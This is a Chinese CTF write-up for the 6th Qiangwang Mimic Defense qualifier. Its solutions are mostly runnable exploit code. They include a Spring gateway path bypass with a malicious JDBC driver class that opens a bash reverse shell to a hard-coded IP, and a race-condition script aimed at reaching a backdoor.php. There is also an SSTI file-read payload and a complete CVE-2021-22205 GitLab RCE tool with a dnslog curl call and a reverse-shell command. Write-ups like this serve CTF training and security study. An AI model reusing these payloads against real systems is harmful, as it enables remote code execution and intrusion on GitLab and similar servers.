第六届强网拟态防御国际精英挑战赛初赛WriteUp

WriteUp 6个月前 admin
99 0 0

WEB

easyjava
题目共三个jar包,只需要看gateway-0.0.1-SNAPSHOTmicroserviceone-0.0.1-SNAPSHOT即可,discoveryserver-0.0.1-SNAPSHOT里面并没有代码,单纯起了一个eureka。因为使用了Spring-cloud,先弄清楚路由和Spring-cloud里面做了什么操作。

microserviceone-0.0.1-SNAPSHOT中可以看到使用了/app作为基础路由:

spring:
  application:
    name: app
server:
  servlet:
    context-path: /app
  port: 8661
eureka:
  client:
    serviceUrl:
      defaultZone: http://localhost:8761/eureka/
  instance:
    prefer-ip-address: true
    hostname: localhost

而eureka的配置只是为了能发现服务,并不需要去管它,只需要明白访问/app就能从gateway转发到app这边来,但是gataway中做了一个过滤操作:

package com.demo.gateway;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.util.Date;
import java.util.LinkedHashMap;
import java.util.Map;
import org.springframework.core.annotation.Order;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

@Component
@Order(1)
public class SecurityFilter implements WebFilter {
    public SecurityFilter() {
    }

    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        ServerHttpRequest request = exchange.getRequest();
        ServerHttpResponse response = exchange.getResponse();
        String path = request.getPath().value();
        return path.startsWith("/app/") ? writeErrorMessage(request, response, HttpStatus.UNAUTHORIZED, "No Auth!!") : chain.filter(exchange);
    }

    public static Mono<Void> writeErrorMessage(ServerHttpRequest request, ServerHttpResponse response, HttpStatus status, String message) {
        response.getHeaders().setContentType(MediaType.APPLICATION_JSON);
        response.setStatusCode(status);
        Map<String, Object> errorAttributes = new LinkedHashMap();
        errorAttributes.put("timestamp"new Date());
        errorAttributes.put("path", request.getPath().value());
        errorAttributes.put("status", status.value());
        errorAttributes.put("error", status.getReasonPhrase());
        errorAttributes.put("message", message);

        byte[] bytes;
        try {
            ObjectMapper objectMapper = new ObjectMapper();
            bytes = objectMapper.writeValueAsBytes(errorAttributes);
        } catch (JsonProcessingException var7) {
            throw new RuntimeException(var7);
        }

        DataBuffer dataBuffer = response.bufferFactory().wrap(bytes);
        return response.writeWith(Mono.just(dataBuffer));
    }
}
path绕过

当访问的url中以/app/开头的话将会被拦截,由于这里是从request.getPath().value()中获取的路径,无法用常见的类似/app/;/login来绕过,不过可以配合gateway的重写地址规则进行绕过

          filters:
            - name: RewritePath
              args:
                regexp: "'/' + serviceId + '/?(?<remaining>.*)'"
                replacement: "'/' + serviceId+'/${remaining}'"

使用/app;a=b/login 来进行绕过,path被重写后变成了/app/;a=b/login,能正常访问到app的路由,gateway在题目中也仅仅是这个作用,继续在app中找RCE的点即可。

RCE思路
分析了业务jar包的几大功能后可以确认基本攻击思路:
绕过限制上传jar包-> 添加jar包到依赖路径 -> 验证自定义jdbc驱动 -> 加载jar包中的恶意类进行RCE

jar包上传

需要关注的是两个过滤,第一个是全局的认证过滤,只允许访问以下内容时不受登录限制
com.demo.microserviceone.Config#shiroFilterFactoryBean
filterChainDefinitionMap.put("/login""anon");
filterChainDefinitionMap.put("/**/*.js""anon");
filterChainDefinitionMap.put("/**/*.css""anon");
filterChainDefinitionMap.put("/favicon.ico""anon");
我主要的思路是通过.js作为后缀名来绕过,第二个过滤是文件名过滤:
private static final Pattern FILE_NAME_REGEX_PATTERN = Pattern.compile("^[A-Za-z0-9-]{1,20}\.(?:js|css)");
上传时文件名要满足这个正则匹配,再来看上传点
    @PostMapping({"upload/{fileId}"})
    public void upload(HttpServletResponse response, @PathVariable("fileId") String fileId, @RequestPart("file") MultipartFile file) {
        Matcher matcher = FILE_NAME_REGEX_PATTERN.matcher(file.getOriginalFilename());
        if (!matcher.find()) {
            MessageUtils.writeMessage(response, HttpStatus.FORBIDDEN, "Invalid FileName");
        } else {
            boolean res = this.uploadFile(fileId, file);
            if (res) {
                MessageUtils.writeMessage(response, HttpStatus.OK, "Upload success");
            } else {
                MessageUtils.writeMessage(response, HttpStatus.INTERNAL_SERVER_ERROR, "Upload error");
            }

        }
    }

    private boolean uploadFile(String fileId, MultipartFile file) {
        Assert.notNull(file, "Multipart file must not be null");

        try {
            fileId = URLDecoder.decode(fileId, StandardCharsets.UTF_8.name());
            String originName = file.getOriginalFilename();
            String newFileName = fileId + originName.substring(originName.lastIndexOf("."), originName.length());
            if (newFileName.contains("..")) {
                return false;
            } else {
                Path uploadPath = Paths.get("static/", newFileName);
                FileUtils.createIfAbsent(uploadPath.getParent());
                Files.createFile(uploadPath);
                file.transferTo(uploadPath);
                return true;
            }
        } catch (Exception var6) {
            return false;
        }
    }
还必须把文件传到驱动目录下static/custom-drivers/ ,可以有以下绕过思路:
– 文件名绕过:
使用 m4x.js.jar 可以绕过
– 登录绕过:
使用 m4x.js 作为fileid可以绕过
– 上传路径绕过:
因为fileid会进行url解码,使用/staticResource/upload/custom-drivers%252fm4x.js%252f.js 可以绕
因此编写python上传jar包
import requests
def uploadjar():
    url = f"{url1}app;a=b/staticResource/upload/custom-drivers%252fm4x1.js%252fa.js"
    print(requests.post(url, files={"file":("m4x.js.jar",open("m4x.js.jar","rb"))}).text)
upload()
添加jar包到依赖中

关键路由

@GetMapping({"/addDriver/{deDriverId}"})
    public void addDriver(HttpServletResponse response, @PathVariable("deDriverId") String deDriverId) {
        try {
            ProviderFactory.getProvider().addCustomJdbcClassLoader(deDriverId);
        } catch (Exception var4) {
            MessageUtils.writeMessage(response, HttpStatus.INTERNAL_SERVER_ERROR, var4.toString());
        }
    }
跟进addCustomJdbcClassLoader
public synchronized void addCustomJdbcClassLoader(String deDriverId) throws Exception {
        if (this.customJdbcClassLoaders.get(deDriverId) != null) {
            this.customJdbcClassLoaders.remove(deDriverId);
        }

        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

        while(classLoader.getParent() != null) {
            classLoader = classLoader.getParent();
            if (classLoader.toString().contains("ExtClassLoader")) {
                break;
            }
        }

        ExtendedJdbcClassLoader customJdbcClassLoader = new ExtendedJdbcClassLoader(new URL[]{(new File("static/custom-drivers/" + deDriverId)).toURI().toURL()}, classLoader);
        File file = new File("static/custom-drivers/" + deDriverId);
        File[] array = file.listFiles();
        Optional.ofNullable(array).ifPresent((files) -> {
            File[] var3 = array;
            int var4 = array.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                File tmp = var3[var5];
                if (tmp.getName().endsWith(".jar")) {
                    try {
                        customJdbcClassLoader.addFile(tmp);
                    } catch (IOException var8) {
                        var8.printStackTrace();
                    }
                }
            }

        });
        this.customJdbcClassLoaders.put(deDriverId, customJdbcClassLoader);
    }

所有满足.jar作为扩展名的文件都会调用customJdbcClassLoader.addFile(tmp)。跟进

public void addFile(String s) throws IOException {
        File f = new File(s);
        this.addFile(f);
    }

    public void addFile(File f) throws IOException {
        this.addFile(f.toURI().toURL());
    }

    public void addFile(URL u) throws IOException {
        try {
            this.addURL(u);
        } catch (Throwable var3) {
            var3.printStackTrace();
            throw new IOException("Error, could not add URL to system classloader");
        }
    }

因为该类是继承URLClassLoader 的,且没有重写addFile,因此这里会调用URLClassLoader 的addURL将依赖jar包加载到类加载器中,并添加到customJdbcClassLoaders (Hashmap)中去,使用的时候再从HashMap中提取出来使用,因此我们可以写出以下脚本

import requests
def addDriver():
    url = f"{url1}app;a=b/addDriver/m4x.js"
    print(requests.get(url).text)

会把jar加载到类加载器中,并且在customJdbcClassLoaders 中添加一个类加载器对象,key为m4x.js。

验证自定义jdbc驱动时加载jar包中的类进行RCE
关键路由如下
@PostMapping({"/validate/{deDriverId}"})
    public void validate(HttpServletResponse response, @PathVariable("deDriverId") String deDriverId, @RequestBody Datasource datasource) {
        JdbcProvider provider = ProviderFactory.getProvider();

        try {
            provider.checkConfiguration(datasource);
        } catch (Exception var6) {
            MessageUtils.writeMessage(response, HttpStatus.INTERNAL_SERVER_ERROR, var6.toString());
            return;
        }

        String res = ProviderFactory.getProvider().checkStatus(datasource, deDriverId);
        MessageUtils.writeMessage(response, HttpStatus.OK, res);
    }

由于checkConfiguration中验证参数过于繁杂,需要本地起一个环境进行调试,这里就不写具体步骤了。跟进checkStatus

    public String checkStatus(Datasource datasource, String deDriverId) {
        try {
            Connection con = this.getConnection(datasource, deDriverId);
            return con == null ? "Fail" : "Success";
        } catch (Exception var4) {
            return "Fail";
        }
    }

跟进getConnection

public Connection getConnection(Datasource datasource, String deDriverId) throws Exception {
        String username = null;
        String password = null;
        String defaultDriver = null;
        String jdbcurl = null;
        String customDriver = null;
        DatasourceTypes datasourceType = DatasourceTypes.valueOf(datasource.getType());
        Properties props = new Properties();
        OracleConfiguration jdbcClassLoader;
        switch (datasourceType) {
            case mysql:
            case mariadb:
            case ds_doris:
            case TiDB:
            case StarRocks:
                MysqlConfiguration mysqlConfiguration = (MysqlConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), MysqlConfiguration.class);
                username = mysqlConfiguration.getUsername();
                password = mysqlConfiguration.getPassword();
                defaultDriver = "com.mysql.jdbc.Driver";
                jdbcurl = mysqlConfiguration.getJdbc();
                customDriver = mysqlConfiguration.getCustomDriver();
                break;
            case sqlServer:
                SqlServerConfiguration sqlServerConfiguration = (SqlServerConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), SqlServerConfiguration.class);
                username = sqlServerConfiguration.getUsername();
                password = sqlServerConfiguration.getPassword();
                defaultDriver = sqlServerConfiguration.getDriver();
                customDriver = sqlServerConfiguration.getCustomDriver();
                jdbcurl = sqlServerConfiguration.getJdbc();
                break;
            case oracle:
                jdbcClassLoader = (OracleConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), OracleConfiguration.class);
                username = jdbcClassLoader.getUsername();
                password = jdbcClassLoader.getPassword();
                defaultDriver = jdbcClassLoader.getDriver();
                customDriver = jdbcClassLoader.getCustomDriver();
                jdbcurl = jdbcClassLoader.getJdbc();
                props.put("oracle.net.CONNECT_TIMEOUT""5000");
                break;
            case pg:
                PgConfiguration pgConfiguration = (PgConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), PgConfiguration.class);
                username = pgConfiguration.getUsername();
                password = pgConfiguration.getPassword();
                defaultDriver = pgConfiguration.getDriver();
                customDriver = pgConfiguration.getCustomDriver();
                jdbcurl = pgConfiguration.getJdbc();
                break;
            case ck:
                CHConfiguration chConfiguration = (CHConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), CHConfiguration.class);
                username = chConfiguration.getUsername();
                password = chConfiguration.getPassword();
                defaultDriver = chConfiguration.getDriver();
                customDriver = chConfiguration.getCustomDriver();
                jdbcurl = chConfiguration.getJdbc();
                break;
            case mongo:
                MongodbConfiguration mongodbConfiguration = (MongodbConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), MongodbConfiguration.class);
                username = mongodbConfiguration.getUsername();
                password = mongodbConfiguration.getPassword();
                defaultDriver = mongodbConfiguration.getDriver();
                customDriver = mongodbConfiguration.getCustomDriver();
                jdbcurl = mongodbConfiguration.getJdbc(datasource.getId());
                break;
            case redshift:
                RedshiftConfiguration redshiftConfiguration = (RedshiftConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), RedshiftConfiguration.class);
                username = redshiftConfiguration.getUsername();
                password = redshiftConfiguration.getPassword();
                defaultDriver = redshiftConfiguration.getDriver();
                customDriver = redshiftConfiguration.getCustomDriver();
                jdbcurl = redshiftConfiguration.getJdbc();
                break;
            case impala:
                ImpalaConfiguration impalaConfiguration = (ImpalaConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), ImpalaConfiguration.class);
                username = impalaConfiguration.getUsername();
                password = impalaConfiguration.getPassword();
                defaultDriver = impalaConfiguration.getDriver();
                customDriver = impalaConfiguration.getCustomDriver();
                jdbcurl = impalaConfiguration.getJdbc();
                break;
            case db2:
                Db2Configuration db2Configuration = (Db2Configuration)(new Gson()).fromJson(datasource.getConfiguration(), Db2Configuration.class);
                username = db2Configuration.getUsername();
                password = db2Configuration.getPassword();
                defaultDriver = db2Configuration.getDriver();
                customDriver = db2Configuration.getCustomDriver();
                jdbcurl = db2Configuration.getJdbc();
        }

        if (StringUtils.isNotBlank(username)) {
            props.setProperty("user", username);
            if (StringUtils.isNotBlank(password)) {
                props.setProperty("password", password);
            }
        }

        if (StringUtils.isNotBlank(username)) {
            props.setProperty("user", username);
            if (StringUtils.isNotBlank(password)) {
                props.setProperty("password", password);
            }
        }

        jdbcClassLoader = null;
        String driverClassName;
        ExtendedJdbcClassLoader jdbcClassLoader;
        if (this.isDefaultClassLoader(customDriver)) {
            driverClassName = defaultDriver;
            jdbcClassLoader = this.extendedJdbcClassLoader;
        } else {
            driverClassName = customDriver;
            jdbcClassLoader = this.getCustomJdbcClassLoader(deDriverId);
        }

        if (jdbcClassLoader == null) {
            return null;
        } else {
            Driver driverClass = (Driver)jdbcClassLoader.loadClass(driverClassName).newInstance();
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

            Connection conn;
            try {
                Thread.currentThread().setContextClassLoader(jdbcClassLoader);
                conn = driverClass.connect(jdbcurl, props);
            } catch (Exception var22) {
                var22.printStackTrace();
                throw var22;
            } finally {
                Thread.currentThread().setContextClassLoader(classLoader);
            }

            return conn;
        }
    }

看似繁杂,只需要保证代码运行到上面所示117行Driver driverClass = (Driver)jdbcClassLoader.loadClass(driverClassName).newInstance();即可,这里进行了类的加载并实例化,会调用到该类的无参构造方法,进而执行我们的恶意java代码。

首先我们需要一个有恶意代码的jar包,且里面的恶意类需要实现自接口Driver。

Evil.java
package com.m4x;

import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;

public class Evil implements Driver {
    public Evil() throws Exception{
        Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/8.134.146.39/6666 0>&1"});
    }
    @Override
    public Connection connect(String url, Properties info) throws SQLException {
        return null;
    }

    @Override
    public boolean acceptsURL(String url) throws SQLException {
        return false;
    }

    @Override
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
        return new DriverPropertyInfo[0];
    }

    @Override
    public int getMajorVersion() {
        return 0;
    }

    @Override
    public int getMinorVersion() {
        return 0;
    }

    @Override
    public boolean jdbcCompliant() {
        return false;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

建议在idea中进行编译,方便解决依赖问题。编译成class后放入到 ./com/m4x/Evil.class ,然后运行命令进行打包

jar cvf m4x.js.jar ./com

这样就可以制作好jar包,使用上面的脚本进行上传并加载后就可以编写脚本加载恶意类并触发恶意代码了

import requests
def getDataSource():
    return {"id""1""name""m4x""desc""test""type""mysql""createTime": time.time() - 100"updateTime": time.time(), "createBy""""status"1"configuration"'{"driver": "com.mysql.jdbc.Driver", "extraParams": "","host":"127.0.0.1", "port":12345,"dataBase":"ctf", "customDriver":"com.m4x.Evil"}'}
def validate():
    url = f"{url1}app;a=b/validate/m4x.js"
    print(requests.post(url,json=getDataSource()).text)

这样就完成了攻击,完整exp:

import time
import requests

url1 = "http://web-4910cb4ea1.challenge.xctf.org.cn:80/"
def getDataSource():
    return {"id""1""name""m4x""desc""test""type""mysql""createTime": time.time() - 100"updateTime": time.time(), "createBy""""status"1"configuration"'{"driver": "com.mysql.jdbc.Driver", "extraParams": "","host":"127.0.0.1", "port":12345,"dataBase":"ctf", "customDriver":"com.m4x.Evil"}'}

def uploadjar():
    url = f"{url1}app;a=b/staticResource/upload/custom-drivers%252fm4x.js%252fa.js"
    print(requests.post(url, files={"file":("m4x.js.jar",open("m4x.js.jar","rb"))}).text)

def addDriver():
    url = f"{url1}app;a=b/addDriver/m4x.js"
    print(requests.get(url).text)

def validate():
    url = f"{url1}app;a=b/validate/m4x.js"
    print(requests.post(url,json=getDataSource()).text)
uploadjar()
addDriver()
validate()

攻击完成会反弹shell,cat /flag即可。


noumisotuitennnoka
思路条件竞争create的写入backdoor.php 和htaccess之间进行zip,这样就可以只去掉访问限制
import threading
import requests

url = "http://web-76898ea9a8.challenge.xctf.org.cn/"
sess = requests.session()
t = threading.Semaphore(80)

def clean():
    while True:
        t.acquire()
        p = {"action""clean""subdir""/xxx"}
        sess.get(url, params=p)
        t.release()

def create():
    while True:
        t.acquire()
        p = {"action""create""subdir""/xxx"}
        sess.get(url, params=p)
        t.acquire()


def zip():
    while True:
        t.acquire()
        p = {"action""zip""subdir""/xxx"}
        sess.get(url, params=p)
        t.acquire()


def unzip():
    while True:
        t.acquire()
        p = {"action""unzip""subdir""/xxx"}
        sess.get(url, params=p)
        t.acquire()


threading.Thread(target=clean).start()
threading.Thread(target=create).start()
threading.Thread(target=create).start()
threading.Thread(target=zip).start()
threading.Thread(target=unzip).start()

while True:
    fh = sess.get(url + "xxx/backdoor.php")
    if fh.status_code != 403:
        print(fh.text)


Mimic

拟态控制器

from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
#elf=ELF('npuctf_pwn')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./npuctf_pwn',env={'LD_PRELOAD':'./libc6_2.23.so'})
#p=process('./controller_pwn')
p=remote('pwn-04349481cd.challenge.xctf.org.cn',9999,ssl=True)
#p=remote('pwn-04349481cd.challenge.xctf.org.cn',9999)
#gdb.attach(p,'b *0x000055555555489d')
#raw_input()
p.recv()
pay='a'*0x28
p.sendline(pay)

p.recvuntil('a'*0x28)
canary=u64(p.recv(8))-0xa
print hex(canary)

pay='a'*0x28+p64(canary)+p64(0)+'x0a'
p.send(pay)

p.interactive()


用户鉴权
按照提示挨个访问

第六届强网拟态防御国际精英挑战赛初赛WriteUp

访问到/nudm-ueau时

第六届强网拟态防御国际精英挑战赛初赛WriteUp

继续访问/nudm-ueau/v1/suci-0-460-00-0-0-0-0123456001/security-information/generate-auth-data

第六届强网拟态防御国际精英挑战赛初赛WriteUp

换成POST请求

第六届强网拟态防御国际精英挑战赛初赛WriteUp

提示缺少这两个参数,补上

第六届强网拟态防御国际精英挑战赛初赛WriteUp

给了个hex,解码

第六届强网拟态防御国际精英挑战赛初赛WriteUp

用户登记系统
SSTI模版注入 过滤了挺多关键字
payload
name={{lipsum.__builtins__.open("/tmp/fla""g").read().encode().hex()}}

第六届强网拟态防御国际精英挑战赛初赛WriteUp

Crypto

一眼看出

费马分解

from math import isqrt
from Crypto.Util.strxor import strxor
import gmpy2
import libnum
def fermat(n):
    a = isqrt(n)
    b2 = a * a - n
    b = isqrt(n)
    count = 0
    while b * b != b2:
        a = a + 1
        b2 = a * a - n
        b = isqrt(b2)
        count += 1
    p = a + b
    q = a - b
    assert n == p * q
    return p, q
def Decrypt(c,e,p,q):
    L=(p-1)*(q-1)
    d=gmpy2.invert(e,L)
    n=p*q
    m=gmpy2.powmod(c,d,n)
    return libnum.n2s(int(m))
n =121027298948349995679677982412648544403333177260975245569073983061538581058440163574922807151182889153495253964764966037308461724272151584478723275142858008261257709817963330011376266261119767294949088397671360123321149414700981035517299807126625758046100840667081332434968770862731073693976604061597575813313
p,q= fermat(n)
e = 0x10001
c =42256117129723577554705402387775886393426604555611637074394963219097781224776058009003521565944180241032100329456702310737369381890041336312084091995865560402681403775751012856436207938771611177592600423563671217656908392901713661029126149486651409531213711103407037959788587839729511719756709763927616470267
key = Decrypt(c,e,p,q)
print(key)


Misc

国际象棋与二维码

和国际象棋棋盘异或做Mask

from PIL import Image

n = 49
img = Image.open('./attach.png')
width, height = img.size

# 0 -> black
matrix = []
for i in range(49):
  tmp = []
  for j in range(49):
    h = int(i/49*width+5)
    w = int(j/49*height+5)
    tmp += [int(img.getpixel((w, h))[0]/255)]
  matrix += [tmp]

matrix2 = matrix.copy()
for i in range(49):
  for j in range(49):
    matrix2[i][j] ^= (i+j) % 2

img2 = Image.new('RGB', (490490))
for i in range(49):
  for j in range(49):
    px = (matrix2[i][j]*255,) * 3
    for p in range(10):
      for q in range(10):
        img2.putpixel((10*i+p, 10*j+q), px)
img2.save('qr.png')

第六届强网拟态防御国际精英挑战赛初赛WriteUp

flag{7he_che556o@rd_of_che55_i5_very_5imi1@r_+o_7he_QR_code_m@5k}


车联网

新型车联网安全网络协议破解(阶段一)

CVE-2021-22205.py直接打
import requests
import socks
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()

def title():
    print("""
   ______     _______     ____   ___ ____  _      ____  ____  ____   ___  ____  
  / ___    / / ____|   |___  / _ ___ / |    |___ |___ |___  / _ | ___| 
 | |      / /|  _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___  
 | |___   V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
  ____ |  _/  |_____|   |_____|___/_____|_|    |_____|_____|_____|___/|____/ 

                                  Author:Al1ex@Heptagram
                                Github:https://github.com/Al1ex                         
     """
)
    print('''
        验证模式:python CVE-2021-22205.py -v true -t target_url 
        攻击模式:python CVE-2021-22205.py -a true -t target_url -c command 
        批量检测:python CVE-2021-22205.py -s true -f file 
        '''
)

def check(target_url):
    session = requests.Session()
    try:
        req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(req1.text, features="lxml")
        token = soup.findAll('meta')[16].get("content")
        data = "rn------WebKitFormBoundaryIMv3mxRg59TkFSX5rnContent-Disposition: form-data; name="file"; filename="test.jpg"rnContent-Type: image/jpegrnrnAT&TFORMx00x00x03xafDJVMDIRMx00x00x00.x81x00x02x00x00x00Fx00x00x00xacxffxffxdexbfx99 !xc8x91Nxebx0cx07x1fxd2xdax88xe8kxe6Dx0f,qx02xeeIxd3nx95xbdxa2xc3"?FORMx00x00x00^DJVUINFOx00x00x00nx00x08x00x08x18x00dx00x16x00INCLx00x00x00x0fshared_anno.iffx00BG44x00x00x00x11x00Jx01x02x00x08x00x08x8axe6xe1xb17xd9*x89x00BG44x00x00x00x04x01x0fxf9x9fBG44x00x00x00x02x02nFORMx00x00x03x07DJVIANTax00x00x01P(metadatant(Copyright "\n" . qx{curl `whoami`.82sm53.dnslog.cn} . \n" b ") )                                                                                                                                                                                                                                                                                                                                                                                                                                     nrn------WebKitFormBoundaryIMv3mxRg59TkFSX5--rnrn"
        headers = {
            "User-Agent""Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Connection""close",
            "Content-Type""multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
            "X-CSRF-Token"f"{token}""Accept-Encoding""gzip, deflate"}
        flag = 'Failed to process image'
        req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req2.text:
            print("[+] 目标 {} 存在漏洞".format(target_url))
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print(e)

def attack(target_url,command):
    session = requests.Session()
    try:
        req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(req1.text, features="lxml")
        token = soup.findAll('meta')[16].get("content")
        data = "rn------WebKitFormBoundaryIMv3mxRg59TkFSX5rnContent-Disposition: form-data; name="file"; filename="test.jpg"rnContent-Type: image/jpegrnrnAT&TFORMx00x00x03xafDJVMDIRMx00x00x00.x81x00x02x00x00x00Fx00x00x00xacxffxffxdexbfx99 !xc8x91Nxebx0cx07x1fxd2xdax88xe8kxe6Dx0f,qx02xeeIxd3nx95xbdxa2xc3"?FORMx00x00x00^DJVUINFOx00x00x00nx00x08x00x08x18x00dx00x16x00INCLx00x00x00x0fshared_anno.iffx00BG44x00x00x00x11x00Jx01x02x00x08x00x08x8axe6xe1xb17xd9*x89x00BG44x00x00x00x04x01x0fxf9x9fBG44x00x00x00x02x02nFORMx00x00x03x07DJVIANTax00x00x01P(metadatant(Copyright "\n" . qx{"+  command +"} . \n" b ") )                                                                                                                                                                                                                                                                                                                                                                                                                                     nrn------WebKitFormBoundaryIMv3mxRg59TkFSX5--rnrn"
        headers = {
            "User-Agent""Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Connection""close",
            "Content-Type""multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
            "X-CSRF-Token"f"{token}""Accept-Encoding""gzip, deflate"}
        flag = 'Failed to process image'
        req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req2.text:
            print("[+] 目标 {} 存在漏洞".format(target_url))
            print("[+] 请到dnslog或主机检查执行结果")
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print(e)

def scan(file):
    for url_link in open(file, 'r', encoding='utf-8'):
            if url_link.strip() != '':
                url_path = format_url(url_link.strip())
                check(url_path)

def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL 错误 {0}'.format(url))

def main():
    attack("http://172.18.0.4/","bash -c 'bash -i >& /dev/tcp/8.134.146.39/6666 0>&1'")

if __name__ == '__main__':
    title()
    main()

直接反弹shell,ps -ef 看到进程id为5452,cd /proc/5452/cwd 可以进入到程序的工作目录

第六届强网拟态防御国际精英挑战赛初赛WriteUp

原文始发于微信公众号(山石网科安全技术研究院):第六届强网拟态防御国际精英挑战赛初赛WriteUp

版权声明:admin 发表于 2023年11月13日 上午11:31。
转载请注明:第六届强网拟态防御国际精英挑战赛初赛WriteUp | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...